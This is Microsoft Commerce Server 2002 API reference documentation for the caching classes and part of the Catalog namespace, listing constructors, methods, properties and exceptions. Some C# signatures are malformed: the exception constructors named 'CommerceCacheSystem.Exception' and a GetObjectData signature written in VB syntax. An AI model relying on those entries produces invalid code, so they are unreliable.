The ProgId of the component that should be created and invoked to write out cache data during refresh cycles. Optional. May be null.
cacheObjectProgId
The ProgId of the component that is to serve as the cache container object, usually Commerce.Dictionary or Commerce.LRUCache. May be null.
loaderConfigDictionary
The Commerce.IDictionary object containing name value pairs to pass to the loader component when it is invoked. This parameter is optional. May be null.
writerConfigDictionary
The Commerce.IDictionary object containing name value pairs to pass to the writer component when it is invoked. This parameter is optional. May be null.
dbgContext
The DebugContext object. May not be null.
[C#]
name
The cache name. May not be null.
refreshInterval
The refresh interval in seconds. A value of zero means to never refresh.
retryInterval
The retry interval in seconds. A value of zero means to use the default (60 seconds).
loaderProgId
The ProgId of the component that should be created and invoked to populate this cache during refresh cycles. May not be null.
writerProgId
The ProgId of the component that should be created and invoked to write out cache data during refresh cycles. This parameter is optional. May be null.
cacheObjectProgId
The ProgId of the component that is to serve as the cache container object, usually Commerce.Dictionary or Commerce.LRUCache. May be null.
loaderConfigDictionary
The Commerce.IDictionary object containing name value pairs to pass to the loader component when it is invoked. This parameter is optional. May be null.
writerConfigDictionary
The Commerce.IDictionary object containing name value pairs to pass to the writer component when it is invoked. This parameter is optional. May be null.
dbgContext
The DebugContext object. May not be null.

Remarks

Throws an ArgumentNullException if the name, loaderProgId or dbgContext parameters are null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCache Methods (BCL)

Public Instance Methods

Method | Description
GetCache | Gets the cache object (Commerce.Dictionary or LRUCache).
Refresh | Refreshes the cache.


CommerceCache.GetCache Method (BCL)

Use this method to get the cache object (Commerce.Dictionary or LRUCache).

Definition

[Visual Basic .NET]
Public Function GetCache( _
) As System.Object
[C#]
public System.Object GetCache(
);

Return Value

Returns the cache object, either a Dictionary object or an LRUCache object.

Remarks

Throws a CommerceCacheException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCache.Refresh Method (BCL)

Use this method to refresh the cache.

Definition

[Visual Basic .NET]
Public Sub Refresh( _
)
[C#]
public void Refresh(
);

Remarks

Throws a CommerceCacheException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCache Properties (BCL)

Public Instance Properties

Property | Description
CacheObjectProgId | Gets or sets the ProgId of the component that is the cache container object. Generally this is either Commerce.Dictionary or Commerce.LRUCache object.
LoaderConfigDictionary | Gets or sets the LoaderConfig dictionary for the cache. This is the set of name/-value pairs that will be passed to the cache loader component during a refresh operation.
LoaderProgId | Gets or sets the ProgId of the component that should be created and invoked to populate the cache object during refresh cycles.
RefreshInterval | Gets or sets the refresh interval for the cache. This is the approximate amount of time in seconds that the CacheMangager object will sleep before automatically refreshing the cache.
RetryInterval | Gets or sets the retry interval for the cache. This is the approximate amount of time in seconds that the CacheMangager object will sleep after a previous failure before retrying the cache refresh.
ServerSpecificSiteUrl | String that contains the full URL of the application.
WriterConfigDictionary | Gets or sets the WriterConfig dictionary for the cache. This is the set of name/value pairs that will be passed to the cache loader component during a refresh operation.
WriterProgId | Gets or sets the ProgId of the component that should be created and invoked to write out data from the cache object during refresh cycles.


CommerceCache.CacheObjectProgId Property (BCL)

The CacheObjectProgId property gets the ProgId of the component that is the cache container object. Generally this is either Commerce.Dictionary or Commerce.LRUCache object.

Definition

[Visual Basic .NET]
Public Property CacheObjectProgId As System.String
[C#]
public System.String CacheObjectProgId {get;}

Property Value

The ProgId of the cache container object.

Remarks

Throws a CommerceCacheException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCache.LoaderConfigDictionary Property (BCL)

The LoaderConfigDictionary property gets or sets the LoaderConfig dictionary for the cache. This is the set of name/value pairs that will be passed to the cache loader component during a refresh operation.

Definition

[Visual Basic .NET]
Public Property LoaderConfigDictionary As System.Object
[C#]
public System.Object LoaderConfigDictionary {get; set;}

Property Value

The Dictionary object that contains the cache configuration values.

Remarks

A configured cache must have a loader component configured, but a writer component is optional. When a cache refresh occurs, the writer component is fired against the contents of the "old" copy of the cache (if one exists) and then the loader component is fired to populate a new cache object.

Throws an ArgumentException if the provided value is not of type Commerce.IDictionary.

Throws an ArgumentNullException if the provided value is null.

Throws an CommerceCacheException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCache.LoaderProgId Property (BCL)

The LoaderProgId property gets or sets the ProgId of the component that should be created and invoked to populate the cache object during refresh cycles.

Definition

[Visual Basic .NET]
Public Property LoaderProgId As System.String
[C#]
public System.String LoaderProgId {get; set;}

Property Value

The ProgId of the cache loader component.

Remarks

Exceptions | Description
ArgumentNullException | A null value was provided when setting the property. A loader component is required for all configured caches.
CommerceCacheException | General failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCache.RefreshInterval Property (BCL)

The RefreshInterval property gets or sets the refresh interval for the cache. This is the approximate amount of time in seconds that the CacheMangager object will sleep before automatically refreshing the cache.

Definition

[Visual Basic .NET]
Public Property RefreshInterval As System.Int32
[C#]
public System.Int32 RefreshInterval {get; set;}

Property Value

An Int32 containing the refresh interval in seconds.

Remarks

A value of zero means that the cache should never be automatically refreshed.

Throws a CommerceCacheException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCache.RetryInterval Property (BCL)

The RetryInterval property gets or sets the retry interval for the cache. This is the approximate amount of time in seconds that the CacheMangager object will sleep after a previous failure before retrying the cache refresh.

Definition

[Visual Basic .NET]
Public Property RetryInterval As System.Int32
[C#]
public System.Int32 RetryInterval {get; set;}

Property Value

An Int32 containing the retry interval in seconds.

Remarks

Throws a CommerceCacheException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCache.ServerSpecificSiteUrl Property (BCL)

The ServerSpecificSiteUrl property is a string that contains the full URL of the application. If the cache object is a Dictionary object, then this value is passed to the CacheLoader and CacheWriter objects during each cache refresh.

Definition

[Visual Basic .NET]
Public Property ServerSpecificSiteUrl As System.String
[C#]
public System.String ServerSpecificSiteUrl {get; set;}

Property Value

The full URL of the application.

Remarks

Throws a CommerceCacheException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCache.WriterConfigDictionary Property (BCL)

The WriterConfigDictionary property gets or sets the WriterConfig dictionary for the cache. This is the set of name/value pairs that will be passed to the cache loader component during a refresh operation.

Definition

[Visual Basic .NET]
Public Property WriterConfigDictionary As System.Object
[C#]
public System.Object WriterConfigDictionary {get; set;}

Property Value

A Dictionary object containing configuration values for the cache writer component.

Remarks

A configured cache must have a loader component configured, but a writer component is optional. When a cache refresh occurs, the writer component is fired against the contents of the "old" copy of the cache (if one exists) and then the loader component is fired to populate a new cache object.

Throws an ArgumentException if the provided value is not of type Commerce.IDictionary.

Throws an ArgumentNullException if the provided value is null.

Throws an CommerceCacheException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCache.WriterProgId Property (BCL)

The WriterProgId property gets or sets the ProgId of the component that should be created and invoked to write out data from the cache object during refresh cycles.

Definition

[Visual Basic .NET]
Public Property WriterProgId As System.String
[C#]
public System.String WriterProgId {get; set;}

Property Value

The ProgID of the cache writer component.

Remarks

Throws a CommerceCacheException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheCollection Class (BCL)

Represents a collection of caches for the current site.

Public Instance Constructor

Constructor | Description
CommerceCacheCollection Constructor | Creates a new instance of the CommerceCacheCollection class for the site.

Public Instance Methods

Method | Description
Add(String, CommerceCache) | Add a cache to the collection.
CopyTo(Array, Int32) | Copies the cache objects to an array, starting at a particular array index.
GetEnumerator | Enumerates through the caches in the CommerceCacheCollection collection.

Public Instance Properties

Property | Description
Count | Gets the number of caches contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized.
Item(String) | Indexer to allow for accessing a cache based on the cache name.
SyncRoot | Gets an object that can be used for synchronized access to the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheCollection Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceCacheCollection Constructor | Creates a new instance of the CommerceCacheCollection class for the site.


CommerceCacheCollection Constructor (BCL)

Use this method to create a new instance of the CommerceCacheCollection class for the specified site.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceCacheCollection(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheCollection Methods (BCL)

Public Instance Methods

Method | Description
Add(String, CommerceCache) | Adds a cache to the collection.
CopyTo(Array, Int32) | Copies the cache objects to an array, starting at a particular array index.
GetEnumerator | Enumerates through the caches in the CommerceCacheCollection collection.


CommerceCacheCollection.Add (String, CommerceCache) Method (BCL)

Use this method to add a cache to the collection.

Definition

[Visual Basic .NET]
Public Sub Add( _
  ByVal cacheName As System.String, _
  ByVal cache As CommerceCache _
)
[C#]
public void Add(
  System.String cacheName,
  CommerceCache cache
);

Parameters

[Visual Basic .NET]
cacheName
The cache name. May not be null.
cache
The cache object. May not be null.
[C#]
cacheName
The cache name. May not be null.
cache
The cache object. May not be null.

Remarks

Throws an ArgumentNullException if either required parameter is passed as null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheCollection.CopyTo (CommerceCache[], Int32) Method (BCL)

Use this method to copy the cache objects to an array, starting at a particular array index.

Definition

[Visual Basic .NET]
Overridable Public Sub CopyTo( _
  ByVal array As CommerceCache[], _
  ByVal index As System.Int32 _
)
[C#]
public virtual void CopyTo(
  CommerceCache[] array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
The array to copy elements into.
index
The starting element in the array to copy elements into.
[C#]
array
The array to copy elements into.
index
The starting element in the array to copy elements into.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheCollection.GetEnumerator Method (BCL)

Use this method to enumerate through the caches in the collection.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

IEnumerator interface for enumerating the caches in the collection.

Implements

System.IEnumerable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheCollection Properties (BCL)

Public Instance Properties

Property | Description
Count | Gets the number of caches contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized.
Item(String) | Indexer to allow for accessing a cache based on the cache name.
SyncRoot | Gets an object that can be used for synchronized access to the collection.


CommerceCacheCollection.Count Property (BCL)

The Count property gets the number of caches contained in the collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Count As System.Int32
[C#]
public virtual System.Int32 Count {get;}

Property Value

An System.Int32 integer indicating the number of caches.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheCollection.IsSynchronized Property (BCL)

The IsSynchronized property gets a value indicating whether access to the collection is synchronized.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
public virtual System.Boolean IsSynchronized {get;}

Property Value

A Boolean indicating whether access to the collection is synchronized.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheCollection.Item(String) Property (BCL)

The Item property contains a CommerceCache object selected by name.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal cacheName As System.String _
) As CommerceCache
[C#]
public CommerceCache Item(
  System.String cacheName
) {get;}

Parameters

[Visual Basic .NET]
cacheName
The name of the cache.
[C#]
cacheName
The name of the cache.

Property Value

The CommerceCache object specified by the cacheName parameter.

Remarks

Throws an ArgumentNullException if the parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheCollection.SyncRoot Property (BCL)

The SyncRoot property gets an object that can be used for synchronized access to the collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SyncRoot As System.Object
[C#]
public virtual System.Object SyncRoot {get;}

Property Value

The object used for synchronized access to the collection.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheException Class (BCL)

Describes Commerce cache exceptions.

Public Instance Constructor

Constructor | Description
CommerceCacheException Constructor | Creates a new instance of the CommerceCacheException class.
CommerceCacheException Constructor(String) | Creates a new instance of the CommerceCacheException class with the specified message.
CommerceCacheException Constructor(String, Exception) | Creates a new instance of the CommerceCacheException class with the specified message and inner exception.
CommerceCacheException Constructor(String, String, Exception) | Creates a new instance of the CommerceCacheException class with the specified name, operation, and inner exception.

Protected Instance Constructor

Constructor | Description
CommerceCacheException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the CommerceCacheException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceCacheException Constructor | Creates a new instance of the CommerceCacheException class.
CommerceCacheException Constructor(String) | Creates a new instance of the CommerceCacheException class with the specified message.
CommerceCacheException Constructor(String, Exception) | Creates a new instance of the CommerceCacheException class with the specified message and inner exception.
CommerceCacheException Constructor(String, String, Exception) | Creates a new instance of the CommerceCacheException class with the specified name, operation, and inner exception.

Protected Instance Constructor

Constructor | Description
CommerceCacheException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the CommerceCacheException class with the specified serialization information and streaming context.


CommerceCacheException Constructor (BCL)

Use this method to create a new instance of the CommerceCacheException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceCacheException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CommerceCacheException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected CommerceCacheException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheException Constructor (String) (BCL)

Use this method to create a new instance of the CommerceCacheException class with the specified message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public CommerceCacheException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
The message to include in the exception.
[C#]
message
The message to include in the exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the CommerceCacheException class with the specified message and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CommerceCacheSystem.Exception(
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
message
The message to include in the exception.
inner
The inner exception.
[C#]
message
The message to include in the exception.
inner
The inner exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheException Constructor (String, String, Exception) (BCL)

Use this method to create a new instance of the CommerceCacheException class with the specified name, operation, and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal name As System.String, _
  ByVal operation As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CommerceCacheSystem.Exception(
  System.String name,
  System.String operation,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
name
The cache name.
operation
The operation that failed.
inner
The inner exception.
[C#]
name
The cache name.
operation
The operation that failed.
inner
The operation that failed.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.


CommerceCacheException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheException Properties (BCL)

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CommerceCacheModule Class (BCL)

Creates the site caches collection.

Public Instance Constructor

Constructor | Description
CommerceCacheModule Constructor | Creates a new instance of the CommerceCacheModule class.

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Releases resources used by this object.
Init(HttpApplication) | Initializes the module and sets up the event handlers.

Public Instance Properties

Property | Description
IsInitialized (Inherited from CommerceModule) | Gets a Boolean that is set to True when the CommerceCacheModule class instance has been initialized.

Public Static (Shared) Properties

Property | Description
CacheCollection | Contains the site cache collection.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherits from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) Inherits from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheModule Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceCacheModule Constructor | Creates a new instance of the CommerceCacheModule class.


CommerceCacheModule Constructor (BCL)

Use this method to create a new instance of the CommerceCacheModule class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceCacheModule(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheModule Methods (BCL)

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Releases resources used by this object.
Init(HttpApplication) | Initializes the module and sets up the event handlers.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherits from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) Inherits from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


CommerceCacheModule.Init (HttpApplication) Method (BCL)

Use this method to initialize the module and set up the event handlers.

Definition

[Visual Basic .NET]
Overrides Public Sub Init( _
  ByVal appInstance As System.Web.HttpApplication _
)
[C#]
public override void Init(
  System.Web.HttpApplication appInstance
);

Parameters

[Visual Basic .NET]
appInstance
The current HttpApplication instance.
[C#]
appInstance
The current HttpApplication instance.

Remarks

This module does not subscribe to any application events.

Throws a CommerceResourceDependencyException if the associated Commerce Server resource of a known cache type could not be found.

Implements

System.Web.IHttpModule

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheModule Properties (BCL)

Public Instance Properties

Property | Description
IsInitialized (Inherited from CommerceModule) | Gets a Boolean that is set to True when the CommerceCacheModule class instance has been initialized.

Public Static (Shared) Properties

Property | Description
CacheCollection | Contains the site cache collection.


CommerceCacheModule.CacheCollection Property (BCL)

The CacheCollection property gets the site cache collection.

Definition

[Visual Basic .NET]
Public Shared ReadOnly Property CacheCollection As CommerceCacheCollection
[C#]
public static CommerceCacheCollection CacheCollection {get;}

Property Value

A CommerceCacheCollection object containing the caches in the site.

Remarks

The value will be null if the CommerceCacheModule object was not configured in the web.config file.

This property is static and shared.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Microsoft.CommerceServer.Runtime.Catalog

The Microsoft.CommerceServer.Runtime.Catalog namespace contains the catalog functionality for the Commerce Server .NET Application Framework.

Microsoft.CommerceServer.Runtime.Catalog Namespace Object Model

Depicts the object model of the Microsoft.CommerceServer.Runtime.Catalog namespace.

Classes

Class | Description
CatalogContext | Provides a context for interacting with the Commerce Server Product Catalog System. Wraps the CatalogManager COM object.
CatalogException | Base type for all exceptions raised by the Product Catalog System.
CatalogInitializationException | Exception thrown when there is a failure initializing the CatalogManager object.
CatalogNotFoundException | Exception thrown when the catalog is not found.
CatalogSearch | Controls the type of search performed on catalog data.
CatalogSearchOptions | Used by database searches for catalog methods to specify which records to return and how to sort the result set. Can also specify paging and class types to return.
CatalogSetCollection | Retrieves and caches information about all catalog sets in the Commerce Server Catalog System. Provides an enumerator and two indexers to retrieve the CatalogSet object information.
Category | Represents a category in the ProductCatalog object. A Category object should be referenced only on the page in which it was created.
CategoryNotFoundException | Exception thrown when the category is not found.
CommerceCatalogModule | Responsible for creating the default CatalogContext object for the site.
Product | Represents a product in the ProductCatalog object. A Product object should be referenced only on the page in which it was created.
ProductCatalog | Represents a catalog in the Commerce Server Catalog System. A ProductCatalog object should be referenced only on the page in which it was created.
ProductNotFoundException | Exception thrown when the product is not found.
SpecificationSearchPropertyResult | Represents the result for a property in a specification search. The specification search APIs return arrays of these as part of the specification search process. Each result object represents a property and all of the distinct values for that property.

Enumerations

Enumeration | Description
CatalogAttributesType | Used with the CatalogContext.GetAttributes method. Specifies whether to return catalog attributes or property attributes.
CatalogClassTypes | Used to specify which types of catalog objects to return from a search.
CatalogDataType | Enumeration of the valid data types for catalog properties.
CatalogJoinType | Used with the SetJoinTable method of the CatalogContext to specify the type of join to use across the Product Catalog System.

Examples

Example | Description
Code to list catalogs on an ASP.NET Web form | Describes how to list catalogs on an ASP.NET Web form.
Code to navigate Catalog categories on an ASP.NET Web form | Describes how to navigate through catalog categories on an ASP.NET Web form.
Code to navigate Catalog products on an ASP.NET Web form | Describes how to navigate through catalog products on an ASP.NET Web form.

See Also

Commerce Server .NET Application Framework Tutorial


CatalogAttributesType Enumeration (BCL)

Enumeration for use with the CatalogContext.GetAttributes method. Specifies whether to return catalog attributes or property attributes.

Members

Member name | Description
CatalogAttributes | Indicates that the GetAttribures method returns catalog attributes.
PropertyAttributes | Indicates that the GetAttribures method returns property attributes.

Remarks

Inherits from the System.Enum method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: MS.CS.Runtime.dll


CatalogClassTypes Enumeration (BCL)

Enumeration used to specify which types of catalog objects to return from a search.

Members

Member Name | Description
CategoryClass | Categories
ProductClass | Products
ProductFamilyClass | Product families (products with variants)
ProductFamilyForVariantsClass | When a variant matches, return the product family that includes the variant.
ProductVariantClass | Product variants
ProductVariantsForFamilyClass | When a product with variants matches, return the product variants.

Remarks

Class types can be combined by using the logical OR operator.

The following example specifies to return both ProductFamilyClass and ProductFamilyForVariantsClass objects:

ClassTypes = CatalogClassTypes.ProductFamilyClass | CatalogClassType.ProductFamilyForVariantsClass

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: MS.CS.Runtime.dll


CatalogContext Class (BCL)

The CatalogContext class provides a context for interacting with the Commerce Server 2002 Product Catalog System. In the Commerce Server 2002 .NET Application Framework implementation, this wraps a CatalogManager object.

Protected Instance Constructor

Constructor | Description
Constructor(DebugContext) | Creates a new instance of the CatalogContext class with the specified DebugContext object.

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.
GetCatalog(String) | Gets the ProductCatalog object for the catalog with the specified name.
GetCatalogs(String, String, CatalogSearchOptions, Int32) | Searches for catalogs using a TSQL query. All properties of all matching records are returned.
GetCatalogs(String, String, CatalogSearchOptions) | Searches for catalogs using a TSQL query. All properties of all matching records are returned.
GetCatalogs(String, String) | Searches for catalogs using a TSQL query. All properties of all matching records are returned.
GetCatalogs(String) | Searches for catalogs using a TSQL query. All properties of all matching records are returned.
GetDefinitionProperties(String) | Gets the properties for a specific catalog definition.
GetEnumerationPropertyValues(String) | Returns all possible values for a catalog property of type CatalogDataType.Enumeration.
GetPropertyAttributes(String) | Gets the attributes for a specific catalog property.
Refresh | Refreshes the Product Catalog System. Ensures that the property caches are coherent with the current design-time view of the catalog.
SetJoinTable(String, String, String, CatalogJoinType) | Sets the join table information. The join table information is in effect for the lifetime of the CatalogContext object.

Public Instance Properties

Property | Description
CachingEnabled | True if caching is enabled, otherwise False.
CatalogNames | Gets the complete list of catalogs known to the Product Catalog System as an array of catalog names.
CatalogSets | Returns the (cached) CatalogSetCollection object that contains information about all the catalog sets in the Commerce Server Product Catalog System.
CategoryDefinitionNames | Gets the names of all category definitions defined in the Product Catalog System.
DebugContext | Gets the DebugContext object that this object is using to log trace messages, and so forth.
DefaultAnonymousCatalogSet | Returns the catalog collection for the configured default anonymous catalog set.
DefaultAuthenticatedCatalogSet | Returns the catalog collection for the configured default authenticated catalog set.
ProductDefinitionNames | Gets the names of all product definitions defined in the Product Catalog System.
PropertyNames | Gets the names of all properties defined in the Product Catalog System.

Public Static (Shared) Methods

Method | Description
CreateFromConnectionString(String, DebugContext) | Creates a CatalogContext object that will run against the catalog database specified in the ADO connection string.

